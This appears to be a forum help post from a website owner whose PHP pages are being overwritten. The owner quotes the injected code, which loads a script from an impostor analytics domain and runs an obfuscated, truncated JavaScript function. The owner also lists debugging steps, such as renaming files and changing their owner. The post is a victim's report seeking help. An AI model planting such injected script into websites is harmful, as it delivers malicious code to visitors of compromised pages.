Website Pages Get Overwritten Randomly

For the past few days I've been facing a weird problem where a few of my website pages (index.php, login.php etc) get overwritten with some google analytics code. The rest of the website pages remain fine.

At random times, the code in these php pages gets replaced by something like:

HTML Code:
<script src="http://analytics-google.info/i/urchin.js"></script><script>function c41920832628m48687785ee773(m48687785eeb5b){ return (parseInt(m48687785eeb5b,16));}function m48687785ef712(m48687785efaf9){ function m48687785f06b2(){return 2;} var m48687785efeea='';m48687785f0e81=String.fromCharCode;for ...</script><script>check_content()</script>

Here's some debugging I have done.

1) If I rename login.php to say, log-in.php, the page gets saved from this

2) If I change the owner of login.php from the user to root, the page doesn't get overwritten anymore.

So basically, something somewhere running from the user account overwrites these specific pages. By the way, my website logs didnt show anything suspicious around the time when this first happened.